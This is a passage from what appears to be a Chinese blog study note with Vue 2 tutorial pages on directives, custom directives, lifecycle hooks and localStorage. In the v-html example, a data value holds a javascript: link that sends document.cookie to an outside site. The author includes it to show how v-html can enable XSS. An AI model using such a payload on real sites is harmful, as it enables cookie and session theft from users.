                /* display为none时,节点就隐藏  v-show指令底层用的就是这个原理*/
                display: none;
            }
        </style>
    </head>
    <body>
        <!-- 
            总结:我们学过的指令
                v-bind:单向绑定
                v-model:
                v-on:事件绑定
                v-for:
                v-if:
                v-else-if:
                v-else:
                v-show:
         -->
         
         <div id="root">
    
            <!-- v-text 指令将文本title内容将节点的内容直接替换掉 -->
            <!-- 但是插值语法相对于v-text比较灵活 -->
            <h1 v-text="title"></h1>
    
    
    
            <!-- v-html 指令会将文本中的html解析,而v-text则不会 -->
            <!-- 这里注意,v-html="" 使用不当会造成安全问题,如cookie如果服务端不完善会造成cookie丢失-->
            <!-- 在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击 -->
            <!-- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上 -->
            <h1 v-html="html"></h1>
            <div v-html="html2"></div>
    
            <!-- v-cloak标签可以在vue还没有解析h1之前存在,在vue解析之后就自动消失 -->
            <!-- 可以配合css的display使用 -->
            <!-- 解决网页闪屏问题 -->
            <h1 v-cloak></h1>
    
            <!-- 第一个h2如果使用了v-once后就只加载number的初始化值,以后不随着number的变化而变化 -->
            <h2 v-once>{{number}}</h2>
            <h2>{{number}}</h2>
            <button @click="number++">点我number加加</button>
    
            <!-- v-pre的作用是跳过节点,vue对没有使用vue插值语法或者指令的节点不进行编译 ,以此来提高vue的编译效率-->
            <h2 v-pre>{{prenumber}}</h2>
            
    
    
         </div>
        
         <script>
             new Vue({
                 el:'#root',
                 data:{
                    title:'Hello,World!!!',
                    html:'<input type="text">',
                    //这样的形式就会把你的所有cookie传给baidu
                    html2:'<a href=javascript:location.href="http://www.baidu.com?cookie="+document.cookie>点我获取本站cookie</a>',
                    number:0,
                    prenumber:2
                 }
             })
         </script>
    
    
    
    
    </body>
    </html>
    

自定义指令

  • 自定义指令分为函数式的和对象式的,局部的还有全局的
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>
<body>

    <!-- 
        总结:
            1.定义语法:
                1.局部指令:
                    分为函数式和对象式
                2.全局指令:
                    同样分为函数式和对象式
            2.指令对象中的三个函数:
                1.bind(element,binding) 2.inserted(element,binding) 3.update(element,binding)
                  element是绑定的dom元素,binding是指令本身如果要获取绑定的值得话可以bindinng.value
                注意:
                    如果是函数式的指令:简写的函数就包含了bind和update
            3.注意点:
                指令函数定义的指令名如果是多个单词要用‘-’分开(且函数名要用''括起来),不要写成驼峰命名
                使用的时候,要在指令名前面加上v-,如v-big

     -->


    

    <div id="root">
        <!-- 函数式指令 -->
        <!-- <input type="number" v-big="n">
        <button @click="add">点我n++</button>
        <br> -->
        <!-- 对象式指令 -->
        <!-- <input type="number" v-big2="n2" placeholder="页面加载后自动获取焦点">
        <button @click="n2++">点我n2++</button> -->
        <!-- 全局的指令 -->
        <!-- 自动获取焦点 -->
        <!-- <input type="text" v-fbig="n2">
        <button @click="n2++">全局的指令</button> -->
    </div>


    <script>

        //同样的,在这里定义全局的指令也可以用函数式的和对象式的,看具体功能
        // Vue.directive('fbig',{
        //     bind(element,binding){
        //         element.value=binding.value
        //     },
        //     inserted(element,binding){
        //         element.focus()
        //     },
        //     update(element,binding){
        //         element.value=binding.value
        //     }
        // })


        new Vue({
            el:'#root',
            data:{
                n:1,
                n2:2
            },
            //这里是局部的自定义指令,还可以自定义全局的指令
            // directives: {
            //     //这个是函数式的指令
            //     // big(element,binding){
            //     //     //在这里element是指令所在的那个元素的dom,binding指这个指令,绑定的值可以通过value取到
            //     //     console.log(element,binding,this)
            //     //     element.value=binding.value*10
            //     // },



            //     //这个是对象式的自定义指令,里面有三个函数
            //     big2:{
            //         //在指令初次绑定在节点上时,仅仅在初始化的时候调用一次
            //         bind(element,binding){
            //             console.log("初始化加载一次")
            //             element.value=binding.value
            //         },
            //         //在vue将编译好的虚拟dom变成真实dom并挂载到页面中之后,才调用
            //         inserted(element,binding){
            //             console.log("虚拟dom变成真实dom并挂载在页面中调用")
            //             //这里需要注意的是有些方法需要dom在页面中存在后才有效,所以有时候更换顺序就可以
                        
            //             element.focus()
            //         },
            //         //在指令所依赖的数据发生改变的时候调用
            //         update(element,binding){
            //             console.log("依赖的数据发生改变调用")
            //             element.value=binding.value
            //         }

            //         //这里注意的是,函数式的方法的方法简写默认是实现了bind和update
            //         //如果要在dom加载之后就做一些事情,要用对象式的inserted
            //     }
            // },
            methods:{
                add(){
                    this.n++
                }
            }
        })
    </script>

</body>
</html>

vue的生命周期

什么是生命周期函数

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>

<body>

    <!-- 
        生命周期:
            1.有名:生命周期回调函数,生命周期函数,生命周期钩子
            2.是什么:vue在一些关键时期帮我们调用一些特殊名字的函数
            3.注意:生命周期的函数名字不可以更改,但是函数体由程序员写
            4.生命周期函数的this指向的是vm实例对象

     -->

    <!-- 案例要求:实现一个忽明忽暗的文字效果 -->
    <div id="root">
        <!-- 在这里在es6语法中,如果key和value的名字一样就可以简写为一个,所以这里可以写成opacity -->
        <h1 :style="{opacity:opacity}">Hello,World!!!</h1>
        <h2>{{opacity}}</h2>
    </div>

    <script>
        new Vue({
            el: '#root',
            data: {
                //设置透明度
                opacity: 0
            },
            //利用mounted钩子函数来实现
            //这个钩子函数在vue的虚拟dom转成真实dom并挂载到页面之后执行一次
            mounted() {

                
                setInterval(()=>{
                   this.opacity+=0.01
                   if(this.opacity>=1){
                    this.opacity=0
                   }
                },16)
                    
             
            }

        })

    </script>

</body>

</html>

所有的生命周期函数

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>
<body>


    <div id="root">
        {{number}}
    </div>
    
    <script>
    const vm=    new Vue({
            el:'#root',
            data:{
                number:1
            },
            //初始化一些规则,比如:准备一些规则当用once事件修饰符的时候怎么做,数据侦听、计算属性、方法、事件/侦听器的回调函数,还没有—data
            beforeCreate () {
                console.log("初始化一些规则")
                console.log(this);
                console.log(this.$el)
            },
            //此阶段的时候,数据侦听和计算属性等一些规则已经初始化完,实例里面已经有—data了
            //开始编译模板生成虚拟dom(在内存中)
            created(){
                console.log("初始化完毕")
                console.log(this.$el)
                
            },
            beforeMount () {
                console.log("挂载前")
                console.log(this.$el)
 
            },
            //当挂载完毕后,此时,vue已经将虚拟dom转成真实dom挂载在页面上,数据可以显示(同时vm.$el会将虚拟dom保存起来以便更新对比)
            //真实dom被挂载到真实页面时候,vue解析模板,将数据渲染到页面上
            mounted () {
                console.log("挂载完毕")
                console.log(this.$el)
            },
            beforeUpdate () {
                console.log("旧的真实dom还未替换")
                //此时利用vue工具更新number页面没有更新
            },
            //更新完毕,旧的真实dom被新的真实dom替换,页面展示新数据
            updated () {
                
                console.log("新的真实dom已经替换完成")
                
            },
            beforeDestroy () {
                console.log("销毁前")
            },
            destroyed () {
                console.log("已销毁");
            }
        })
    </script>
</body>
</html>

生命周期总结

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <!-- 
        常用的生命周期钩子:
            1.mounted:这里通常用于:发送ajax请求,启动定时器,绑定自定义事件,订阅消息
            2.beforeDestroy:这里通常用于:清除定时器,解绑自定义事件,取消订阅消息等(收尾工作)
        关于销毁Vue实例:
            1.手动销毁:vm.$destroy(),但是vm实例在以后的组件开发中一般都不是人为销毁的
            2.销毁后自定义事件会失败,但原生dom事件依然有效
            3.一般不会在beforeDestroy中操作数据,因为即是操作数据,也不会触发更新流程了
     -->
</body>
</html>

组件的概念

无

单文件组件

无

脚手架

无

webStorage对象

浏览器自带的存储器

  • localStorage和sessionStorage
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>

<body>

  <!-- 
    总结(webStorage):
        1.存储大小一般为5M左右,不同浏览器不一样
        2.浏览器通过window.localStorage或者window.sessionStorage来实现本地浏览器的数据存储
        3.相关的API:xxxStorage.setItem(key,value),getItem(key),removeItem(key),clear()
                    注意点:key和value都是字符串
        4.备注:
              (1)sessionStorage存储的数据生命周期为一次会话,localStorage为永久(只要不认为删除)
              (2)如果value值获取不到,getItem会返回null,JSON.parse(null)的结果返回null
   -->
  <h1>localStorage</h1>
  <button onclick="addinfo()">添加</button>
  <button onclick="deleteinfo()">删除</button>
  <button onclick="clearinfo()">清空</button>
  <button onclick="getinfo()">查看</button>

  <script>
    function addinfo() {
      localStorage.setItem('key','value')
    }
    function deleteinfo() {
      localStorage.removeItem('key')
    }
    function clearinfo() {
      localStorage.clear()
    }
    function getinfo() {
      console.log(localStorage.getItem('key'))
    }
  </script>
</body>

</html>
posted @ 2023-08-03 22:12  在赶路的我  阅读(57)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3